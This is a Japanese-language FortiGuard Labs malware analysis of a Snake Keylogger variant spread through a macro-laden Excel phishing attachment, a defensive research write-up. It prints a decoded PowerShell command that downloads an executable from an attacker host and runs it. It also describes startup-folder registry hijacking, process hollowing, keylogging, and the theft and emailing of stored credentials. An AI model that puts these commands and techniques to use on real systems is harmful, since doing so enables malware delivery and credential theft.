脅威リサーチ

Snake Keyloggerマルウェアの 新たな亜種

投稿者 Xiaopeng Zhang | 2021年12月9日

FortiGuard Labs Threat Research Report

影響を受けるプラットフォーム: Microsoft Windows
影響を受けるユーザー:     Windowsユーザー
影響:             被害者のデバイスから機密情報を収集
深刻度:            クリティカル

フォーティネットのFortiGuard Labsは最近、マルウェアの拡散に使用されるMicrosoft Excelサンプルを入手しました。振る舞いを調査した後、Snake Keyloggerマルウェアの最新の亜種であることがわかりました。

Snake Keyloggerは.NETを使用して作られたマルウェアです。同マルウェアは2020年後半に初めて登場し、被害者のデバイスから機密情報を盗むことに焦点を当てており、これらの機密情報には、保存されているクレデンシャル情報、被害者のキーストローク、被害者の画面のスクリーンショット、およびクリップボードのデータが含まれます。

2021年7月、Snake Keyloggerは、蔓延しているマルウェアファミリーの上位10に初めて入りました。これは、Snake Keyloggerファミリーが、その影響力を増し、より多くの人々のデバイスや機密データに影響を与えていることを意味します。

この脅威リサーチブログでは、キャプチャしたExcelサンプルにより、Snake Keyloggerの亜種がどのようにダウンロードされ、実行されるのか、分析を逃れるためにこの亜種が使うテクニック、被害者のマシンからどのような機密情報を盗み出し、収集したデータはどのようにして攻撃者に渡されるのかを説明します。

では、進めましょう。

取得したMicrosoft Excelサンプル

このExcelサンプルは、フィッシングメールの添付ファイルとして拡散され、不正なMacro VBAコードが含まれています。図1.1は、このファイルを開いた際のスクリーンショットを示しています。ドキュメントの不鮮明な画像が表示され、鮮明な画像を見るために、黄色のボタンをクリックするよう被害者に要求します。

図1.1:Excelファイルを開いたときの内容

被害者が黄色のボタン「コンテンツの有効化」をクリックすると、不正なVBAコードがバックグラウンドで実行されます。不正なVBAコードを含む悪意のあるマクロプロジェクトはパスワードで保護されており、分析者は閲覧できません。ただし、当社はバイナリファイルを変更して、この制限を除去することができました。

コードを見てみると、ドキュメントを開くときに、「Workbook_Activate()」メソッドが自動的に呼び出されます。PowerShellのコードの一部がローカル変数からBATファイルに書き込まれます。図1.2はこのメソッドのVBAコードの一部を示しています。変数「s」にはPowerShellコードが格納されています。また、「Gqyztfbtsogpnruooqr.bat」はBATファイルで、最終的に「x = Shell(bat, 0)」のコードを呼び出して実行されます。

図1.2:バックグラウンドで実行されるマクロVBAコード

図1.2の下部には、変数「s」の内容が表示されており、PowerShell.exeが実行される際にデコードされるbase64でエンコードされたPowerShellコードが格納されています。

以下は、base64でデコードされたPowerShellコードです。

$ProcName = "Wheahmnfpgaqse.exe";
(New-Object System.Net.WebClient).DownloadFile("hxxp[:]//3[.]64[.]251[.]139/v3/2/Requests07520000652.exe","$env:APPDATA\$ProcName");
Start-Process ("$env:APPDATA\$ProcName")

PowerShellのコードは非常にシンプルで理解しやすいものです。被害者のデバイスにファイル「Requests07520000652.exe」をダウンロードし、「DownloadFile()」を呼び出して「%AppData%\Wheahmnfpgaqse.exe」に置き、「Start-Process()」を呼び出して実行します。

Snake Keyloggerダウンローダー

調べてみると、「Wheahmnfpgaqse.exe」というファイルは、.NetプログラムであるSnake Keyloggerのダウンローダーであることがわかりました。起動すると21秒間スリープし、無動作のタイムアウトがトリガーされた際に、サンプルプロセスをキルするという方法でサンドボックスを回避しています。

図2.1:スリープ後にSnake Keyloggerモジュールをダウンロードして復号化

21秒後、図2.1に示すように、ダウンローダーは「Consturctor()」と呼ばれる関数を呼び出します。次に、「Program.List_Types() 」という別の関数を呼び出し、「hxxps[:]//store2[.]gofile[.]io/download/0283e6ba-afc6-4dcb-b2f4-3173d666e2c4/Huzeigtmvaplpinhoo.dll」というRC4で暗号化されたDLLファイルからSnake Keyloggerモジュールをダウンロードします。次に、「ToRc()」関数を呼び出し、復号鍵「Dllzjn」を用いてRC4で復号化します。

そして、復号化されたDllモジュール(「Huzeigtmvaplpinhoo.dll」という.Net Dllファイル)を読み込み、そのエクスポート関数を列挙して、図2.1に示すように、関数Consturctor()内で「type.InvokeMember(\"G6doICqoMU\", BindingFlags.InvokeMethod, null, null, null)」を実行することで起動される「G6doICqoMU()」を見つけます。復号された.Net Dllは、Snake Keyloggerのドロッパーおよびインストーラーとなっています。

このモジュールがどのような役割を果たしているのかを見てみましょう。

Snake Keyloggerインストーラー

私の分析によると、復号化されたDllモジュール(「Huzeigtmvaplpinhoo.dll」)は、Snake Keyloggerを被害者のデバイスに展開し、自動実行プログラムとして設定します。実行可能なPEファイルをResourceディレクトリからメモリ上に抽出した後に、プロセスハロウィングにより、新たに作成された子プロセスに実行可能なPEファイルを注入して実行します。

このセクションでは、これらの関数をどのように実行するかを詳しく説明します。

1. 持続性メカニズム

図3.1:デバッガdnSpyのエクスポート関数「G6doICqoMU()」のブレーク

図3.1は、復号されたDllモジュール(「Huzeigtmvaplpinhoo.dll」)の概要を示しています。ご覧のとおり、コードを分析されないようにファイルが難読化されており、クラス名、関数名、変数名はすべてランダムに生成された意味のない文字列になっています。これにより、アナリストは分析が困難になってしまいます。

エクスポート関数「G6doICqoMU()」のフルネームは「Huzeigtmvaplpinhoo!pXfqpio3clcAoFxTnfJ.CORFgLoyRGlurYwdwIh.G6doICqoMU()」です。ここでも先ほどと同じ理由で、一部のマルウェア分析システムを回避するために、この関数の開始時に35秒間スリープします。

次に、このSnake Keyloggerが感染したWindows上で持続的に動作させるようにします。ご存知の通り、Windowsシステムには、「スタートメニュー」の中に「スタートアップ」フォルダがあります。このフォルダ内のプログラムは、Windowsの起動時に開始されます。このフォルダのフルパスは、システムレジストリに「HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup」および「HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Startup」という文字列値で定義されています。「Startup」の値は、デフォルトでは「C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup」となっています。

このSnake Keyloggerの亜種は、「スタートアップ」の両方の値を別のフォルダに変更します。図3.2は、APIのSetValue()を呼び出すことで、Windowsのスタートアップフォルダを「C:\Users\M0YTes0Env\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\chsg\」に変更するコードです。図3.2の下半分に、システムレジストリのパス、値の名前、新しい値のデータの内容が表示されています。

図3.2:Windowsの「スタートアップ」フォルダを新しいパスに変更

「chsg」は、Snake Keyloggerによって作成される新しいフォルダです。プログラムは、Snake Keyloggerのファイル(ダウンロードした「Wheahmnfpgaqse.exe」)をこのフォルダにコピーし、「sgosr.exe」に名前を変更します。これにより、Windowsシステムが起動するたびにSnake Keyloggerが起動するようになります。

2. リソースからの抽出

「Huzeigtmvaplpinhoo.dll」の内容はメモリ上にしか存在しませんが、分析するためにローカルファイルに保存しました。以下の図3.3に示すように、Resourceディレクトリに複数のリソースがあります。

図3.3:Huzeigtmvaplpinhoo.dllのResourceディレクトリの表示

Snake Keyloggerのペイロードファイルを抽出するプロセスは少し複雑であり、トリッキーな方法でリソースを読み込みます。AppDomain.ResourceResolveに登録されているResolveEventHandlerで定義されたローカルコールバック関数を持ち、名前でリソースを読み込むことに失敗した場合に呼び出されます。これは、Windows SEH戦略の例外処理のための例外ハンドラに似ています。さらに、AppDomain.AssemblyResolveに登録された別のローカルコールバック関数を持っており、これは名前によるアセンブリ(モジュールのようなもの)の読み込みに失敗したときに呼び出されます。

以下は、ローカルリソースの解決策を登録する際の疑似コードで、「T9wOjU5ccxTJaVfUntn.Osc50oil0l」がローカルコールバック関数になります。

AppDomain.ResourceResolve += new ResolveEventHandler(T9wOjU5ccxTJaVfUntn.Osc50oil0l)

では、Snake Keyloggerで、存在しないリソースを読み込んで、リソースの読み込みの失敗をトリガーするという問題をどのように解決するか見ていきましょう。既存モジュールから「Qkxkikeg」という名前のResourceを読み込もうとしていますが、図3.3で示すとおり、Resourceディレクトリにそのような名前のResourceは存在しません。リソースの読み込みが失敗し、エラーを解決するために登録されたローカルのResolveEventHandler関数が呼び出されます。その後、アセンブリの読み込みが失敗し、アセンブリ解決コールバック関数が呼び出されます。

その後、リソース「{d977ee8c-85ce-4731-b9a1-323ba88c6eeb}」から復号化された別のPEファイルがメモリ上に現れます。このファイルには、図3.4に示すように、元のリクエストリソース名である「Qkxkikeg」という名前のリソースが含まれています。

図3.4:別のモジュールにある「Qkxkikeg」リソース

Snake Keyloggerのペイロードは、Resourceディレクトリ「ClassLibrary1.Properties.Resources」の中のリソース「Qkxkikeg」にGZIP形式で圧縮されているだけです。

図3.5では、左側にリソース「Qkxkikeg」(反転)のGZIPデータを、右側に解凍した「Snake Keylogger」を表示しています。

図3.5:「Qkxkikeg」の圧縮データおよび解凍データ

3.プロセスハロウィング

その後、プログラムは、サスペンドされた子プロセスを作成し、圧縮されたSnake Keyloggerのペイロードを子プロセスに展開します。次に、子プロセスの実行を再開します。一方で、親プロセスは、関数Environment.Exit(0)を呼び出して終了します。

図3.6:サスペンドされた子プロセスを作成

図3.6のコードを見ると、APIのCreateProcess()を呼び出して、CREATE_NO_WINDOWとCREATE_SUSPENDEDを意味するCreation Flag 134217732U(0x8000004)で子プロセスを作成しようとしています。

次に、APIのWriteProcessMemory()を呼び出して、Snake Keyloggerのペイロードを子プロセスにセクションごとにコピーします。その後、SetThreadContext()を呼び出し、子プロセスがSnake Keyloggerのエントリポイント関数を指すようにします。親プロセスが終了する前に、APIのResumeThread()が呼び出され、子プロセスの実行が再開されます。

Snake Keyloggerのペイロード

図4.1:完全に難読化されたSnake Keyloggerのペイロード

図4.1に示すように、Snake Keyloggerのペイロードファイルのコードは、分析できないように完全に難読化されており、クラス名や関数名は判読できません。

そこで、このコードと意図を適切に分析し、説明するために、「de4dot」というツールを使用してペイロードファイルの難読化を解除しました。これにより、コードが読みやすくなりましたので、結果に基づいて分析を行います。

Snake Keyloggerのコードを見ると、被害者のキーストロークの記録(キーロガー)、クリップボードデータの窃取、および被害者のデバイスにインストロールされている特定のソフトウェアクライアントで保存されている、クレデンシャル情報の盗難を行う機能などを備えていることがわかりました。

1.キーロガー機能

図4.2は、キーロガーを設定するコードスニペットを示しています。

図4.2:キーロガーの初期化

API SetWindowsHookExA()を呼び出してフックコールバック関数(this.callback_ProcessKey())を登録し、低レベルのキーボードの入力イベントを監視します。最初のパラメータはフックタイプで、「13」はWH_KEYBOARD_LLを示します。

その後、被害者が入力を行うと、Windowsシステムによってこのコールバック関数が呼び出されることで、キーストロークをグローバル文字列変数に記録します。また、APIのGetForegroundWindow()やGetWindowText()を呼び出し、被害者の入力場所を特定するために、フォアグラウンドのWindowタイトルを記録します。

また、キーロガーのデータを攻撃者に送り続けるタイマー(Timer0)も備えています。

2. スクリーンショット

被害者の端末のスクリーンショットを撮影することもできます。タイマー(Timer1)を備えており、APIのCopyFromScreen()を呼び出すことで、被害者のスクリーンショットを随時取得します。スクリーンショットは、システムの「MyDocuments」フォルダ内のローカルScreenshot.pngファイルに保存され、画像ファイルを攻撃者に送信することも可能です。

3. システムクリップボード

2つのタイマーを備えており、1つ(Time2)は、Clipboard.GetText()を呼び出してシステムのクリップボードデータを収集し、グローバル変数に保存します。もう1つ(Time3)は、収集したクリップボードデータを攻撃者に送信するために使用されます。

図4.3:システムのクリップボードデータを取得するタイマー関数

図4.3は、システムのクリップボードデータを取得するためのTimer関数です。カウントダウンするたびに、現在のクリップボードデータがグローバル変数「main_cls.string_clipboard_data」に収集されているかどうかをチェックします。クリップボードデータがない場合は、現在のクリップボードデータをグローバル変数に追加します。

4. クレデンシャル情報の盗用

私の分析によると、この亜種の主な目的は、被害者のデバイスからクレデンシャル情報を窃取することです。以下の図4.4に示すように、Main()関数でクレデンシャル情報を窃取するようにしています。

図4.4:クレデンシャル情報を盗んで送信する関数を持つMain()

これは難読化を解除したMain()関数で、さまざまなクライアントのクレデンシャル情報の盗難に使用する関数が表示されています。一番下の関数は、盗んだクレデンシャル情報を送信します。これらの関数は、ローカルファイル(Chromeなど)やシステムレジストリ(Outlookなど)など、各ソフトウェアがクレデンシャル情報を保存しているさまざまな場所から、クレデンシャル情報を取得します。

ここでは例としてOutlookを使用して、Snake Keyloggerによるクレデンシャル情報の収集方法を説明します。

図4.5は、システムレジストリからMicrosoft Outlookのクレデンシャル情報を読み出そうとしている関数のスクリーンショットです。Outlookのバージョンが異なる4つのレジストリパスを経由して、(該当する場合)「Eメール」と「IMAPパスワード」、または「POP3パスワード」、「HTTPパスワード」、「SMTPパスワード」、「SMTPサーバー」を読み取ります。

図4.5:Microsoft Outlook の保存されているクレデンシャル情報を収集する関数

以下は、Snake KeyloggerがMicrosoft Outlookから収集できるクレデンシャル情報の例を示しています。

-------- Snake Keylogger --------

Found From: Outlook

URL: smtp.gmail.com

E-Mail: victim_email@gmail.com

PSWD: {Password}

---------------------------------


Snake Keyloggerが対象としているクライアントを以下のように分類しました。

Webブラウザ:

Google Chrome, Mozilla Firefox, Mozilla SeaMonkey Browser, Mozilla IceCat Browser, Yandex Browser, Microsoft Edge, Amigo Browser, Nichrome Browser, QQBrowser, Coccoc Browser, Orbitum Browser, Slimjet Browser, Iridium Browser, Vivaldi Browser, Iron Browser, Ghost Browser, Cent Browser, Xvast Browser, Chedot Browser, SuperBird Browser, 360 Browser, 360 Secure Browser, Comodo Dragon Browser, Brave-Browser, Torch Browser, UC Browser, Blisk Browser, Epic Privacy Browser, Opera Web Browser, Liebao Browser, Avast Browser, Kinza Browser, BlackHawk Browser, Citrio Browser, Uran Browser, Coowon Browser, 7 Star Browser, QIP Surf Browser, Sleipnir Browser, Chrome Canary Browser, CoolNovo Browser, SalamWeb Browser, Sputnik Browser Extension, Falkon Browser, Elements Browser, Slim Browser, Ice Dragon Browser, CyberFox Browser, PaleMoon Browser, Waterfox Browser, Kometa Browser and various browsers designed based on Chromium project.

Eメールクライアント:

Microsoft Outlook, Tencent Foxmail, Mozilla Thunderbird and Postbox.

その他のクライアント:

FileZilla, Pidgin and Discord.

盗難データの攻撃者への送信

このSnake Keyloggerの亜種のコードは、攻撃者に(SMTPプロトコルを使用して)窃取した被害者のクレデンシャル情報データをEメールで送信します。

Snake Keyloggerは、ユーザー名、PC名、システム日時、パブリックIPアドレス、国名など、被害者のWindowsシステムに関する基本的な情報を収集し、クレデンシャル情報のヘッダに記載します。

図5.1:窃取したクレデンシャル情報を含むEメールを作成

図5.1は、盗んだクレデンシャル情報を含むEメールの作成を示しており、下部にメールの件名と本文が表示されています。盗まれたクレデンシャル情報は、「Passwords.txt」と「User.txt」の2つの添付ファイルとして送信されます。図5.2は、私がテストしたWindowsシステムから窃取した基本情報とクレデンシャル情報を攻撃者に送信したEメールに添付された、「Password.txt」のスクリーンショットです。

図5.2:「Password.txt」の例

図5.3に示すように、盗んだデータを攻撃者に送信するために、送信者のEメールアドレス、パスワード、SMTPサーバーアドレス、SMTPポートを含む変数を定義しています。これらの変数は、クラスのコンストラクタ関数で定義しています。

図5.3:攻撃者のEメールアドレスが、コンストラクタ関数でハードコードされています。

このSnake Keyloggerの亜種は、Eメールでデータを送信する以外にも、FTPやTelegramを用いて収集した機密データを攻撃者に送信することができます。

FTPの場合、攻撃者はFTPサーバーをセットアップして、Snake KeyloggerにFTPサーバーのアドレスと窃取した機密データをアップロードするためのクレデンシャル情報を伝える必要があります。

Telegramの場合、Snake Keyloggerは「Telegram Bot API」の「sendDocument」メソッドを使用して、窃取したデータを攻撃者が用意したTelegramアカウントに送信します。Telegramの手法については、図5.4を参照してください。

Figure 5.4:Telegramを使用してデータを送信するコードの一部

Snake Keyloggerマルウェアに関する結論

このマルウェアのプロセス全体をよりよく理解するために、この分析で説明した主なステップの概要を図6.1のフローチャートとして記述しました。

図6.1:Snake Keylogger亜種のフローチャート

この分析の冒頭で、Excelドキュメント内の悪意のあるマクロがPowerShellを実行し、Snake Keyloggerのダウンローダーをダウンロードする方法を説明しました。

次に、Snake Keyloggerのインストーラーが被害者のデバイス上でどのように持続するか、そしてSnake Keyloggerのペイロードを抽出する複雑でトリッキーな方法の詳細にフォーカスしました。

そして、Snake Keyloggerの亜種が提供する、キーストロークの記録、クレデンシャル情報の収集、クリップボードデータ、スクリーンショットなどの機能について詳しく説明しました。

そして最後に、収集したデータをEメールで攻撃者に送信する方法と、それ以外の2つの方法(FTPとTelegram)について説明しました。

フォーティネットのソリューション

フォーティネットのお客様はすでに、FortiGuardのWebフィルタリング、アンチウイルス、FortiEDR、およびCDR(Content Disarm and Reconstruction:コンテンツ無害化)サービスによって、以下のようにマルウェアから保護されています。

Excelサンプル内の不正なマクロはFortiGuard CDR(Content Disarm and Reconstruction:コンテンツ無害化)サービスによって無害化できます。

関連するすべてのURLは、FortiGuard Webフィルタリングサービスで「悪意のあるWebサイト」として分類されています。

元のExcelサンプルおよびSnake Keyloggerダウンローダーのファイルは「VBA/SnakeKeylogger.84D0!tr」および「MSIL/SnakeKeylogger.ADFA!tr」として検知され、FortiGuardアンチウイルスサービスによってブロックされます。

FortiEDRは、ダウンロードした実行ファイルを、その振る舞いに基づいて悪意のあるファイルとして検知します。

FortiMailは、フィッシングメールをブロックすることでフォーティネットのお客様を保護します。

また、読者の皆さんには、無料の以下のNSEトレーニングNSE 1 – Information Security Awarenessを受けることをおすすめします。このトレーニングにはインターネットの脅威に関するモジュールが含まれており、エンドユーザーがフィッシング攻撃を特定して自身を守る方法を学習できます。

IOC(Indicators of Compromise:侵害指標)

URL:

"hxxp[:]//3[.]64[.]251[.]139/v3/2/Requests07520000652.exe"
"hxxps[:]//store2[.]gofile[.]io/download/0283e6ba-afc6-4dcb-b2f4-3173d666e2c4/Huzeigtmvaplpinhoo.dll"

SHA-256のサンプル:

[SOA# 1769.xlsm]
3B437BAA9A07E9DECE2659F20B5D97F8F729BA077D399933041CDC656C8D4D04

[Requests07520000652.exe or Wheahmnfpgaqse.exe]
53D520C1F12FE4E479C6E31626F7D4ABA5A65D107C1A13401380EBCA7CCA5B05

参考資料:

https://blog.checkpoint.com/2021/08/12/july-2021s-most-wanted-malware-snake-keylogger-enters-top-10-for-first-time/
https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.assemblyresolve?view=net-5.0
https://docs.microsoft.com/en-us/dotnet/api/system.appdomain.resourceresolve?view=net-5.0